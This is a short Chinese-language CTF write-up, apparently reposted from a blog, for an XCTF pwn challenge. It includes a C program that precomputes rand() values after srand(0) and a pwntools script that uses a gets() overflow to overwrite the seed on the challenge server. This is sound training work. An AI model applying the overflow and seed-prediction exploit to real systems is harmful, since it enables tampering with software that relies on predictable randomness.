CTF:第五题

https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5057&page=1

这个题,感觉和前面比,难度反倒低了一点,这里面用了两个知识

1:linux 系统随机数获取

2:srand 伪随机数生成

只要记住一点,就可以了,伪随机数生成是靠算法的,而算法是固定的,

所以我只需要控制好传入的key,就可以预知生成的伪随机数是什么,

需要有点开发技术了

首先看一下代码

红框里面取系统随机数,但是我们肯定不能用系统随机数啊,

如果是那样的话,我们必死啊,

幸好后面有个gets,我们可以直接从标准输入流传入一个字符串,

由于字符串尾部和 srand 的key 挨着,所以可以直接写入超长字符串覆盖,

好了,知道流程,那就开干吧。

写个代码,先算个随机数 

 1 #include <stdio.h>
 2 
 3 int main()
 4 {
 5     int i = 0;
 6     srand(0);
 7     for (i = 0; i <= 9; i++)
 8     {
 9         printf("%d\n", rand() % 6 + 1);
10     }
11 
12     return 0;
13 }

算完之后,得到了一系列数字

2
5
4
2
6
2
5
1
4
2

好了,然后构造python

 1 from pwn import *
 2 
 3 #a = process("./b59204f56a0545e8a22f8518e749f19f")
 4 a = remote('124.126.19.106', 36867)
 5 r = a.recvuntil(":")
 6 print(r)
 7 
 8 str = "A" * 0x20 + "\x00" * 8
 9 print(str)
10 a.send(str)
11 
12 a.interactive()

其实也非常简单,因为我决定那一串数字,我手动输入,

执行脚本

结束了,这个反倒很容易,感觉还可以。

猜你喜欢

转载自www.cnblogs.com/suanguade/p/12968922.html